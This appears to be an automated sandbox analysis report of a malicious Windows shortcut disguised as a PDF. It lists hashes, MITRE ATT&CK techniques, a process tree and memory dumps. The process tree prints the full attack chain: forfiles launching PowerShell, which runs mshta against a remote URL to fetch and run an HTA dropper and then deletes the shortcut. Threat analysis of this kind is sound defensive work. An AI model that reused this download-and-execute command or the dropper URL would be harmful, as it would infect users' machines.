840da5eb639d739bd4e957e0e020821b8436f3e1816bbcb3744a8ae4960e2e9a

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
12/03/2024, 13:53

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General

Target

PortnoyPatti22.pdf.lnk
Size

5KB
MD5

f5dcd8d6e15a1893bfbde898c31aad3f
SHA1

745733e2269b92e625d705e2c9da8b0f4b46afed
SHA256

840da5eb639d739bd4e957e0e020821b8436f3e1816bbcb3744a8ae4960e2e9a
SHA512

72e9655e430eecc2588775aeaed4962fd633d6f411b0d1f488dfc382a6b2e5f039f883a75d587293ec394efd643dd9eddffbc3b367c7d2ae0245481edd92e95d
SSDEEP

24:8WEeO2d+aV9pyAnc8Pkr+/4l+nQ6wY4XYBdd79dsVvNyvNeab4QCmo:8WEP2zncF1dY4IBdJ98KcakQC

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://fromatodor.com/PPortnoy

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	3540	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4852	powershell.exe
4852	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4852	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1632 wrote to memory of 1248	1632	cmd.exe	89
PID 1632 wrote to memory of 1248	1632	cmd.exe	89
PID 1248 wrote to memory of 4852	1248	forfiles.exe	90
PID 1248 wrote to memory of 4852	1248	forfiles.exe	90
PID 4852 wrote to memory of 3540	4852	powershell.exe	91
PID 4852 wrote to memory of 3540	4852	powershell.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\PortnoyPatti22.pdf.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1632
- C:\Windows\System32\forfiles.exe
  "C:\Windows\System32\forfiles.exe" /p C:\Windows\Vss /c "powershell start mshta http://fromatodor.com/PPortnoy;$VRPJ = Get-Location;$VRPJ = Join-Path $VRPJ 'PortnoyPatti22.pdf.lnk';del $VRPJ
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1248
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    start mshta http://fromatodor.com/PPortnoy;$VRPJ = Get-Location;$VRPJ = Join-Path $VRPJ 'PortnoyPatti22.pdf.lnk';del $VRPJ
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4852
  - - C:\Windows\system32\mshta.exe
      "C:\Windows\system32\mshta.exe" http://fromatodor.com/PPortnoy
      4⤵
      Blocklisted process makes network request
      PID:3540

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vqvae4z1.sw1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4852-0-0x0000020AE9F30000-0x0000020AE9F52000-memory.dmp

Filesize
136KB

Download
memory/4852-10-0x00007FFF76DC0000-0x00007FFF77881000-memory.dmp

Filesize
10.8MB

Download
memory/4852-12-0x0000020AEA050000-0x0000020AEA060000-memory.dmp

Filesize
64KB

Download
memory/4852-11-0x0000020AEA050000-0x0000020AEA060000-memory.dmp

Filesize
64KB

Download
memory/4852-13-0x0000020AEA050000-0x0000020AEA060000-memory.dmp

Filesize
64KB

Download
memory/4852-17-0x00007FFF76DC0000-0x00007FFF77881000-memory.dmp

Filesize
10.8MB

Download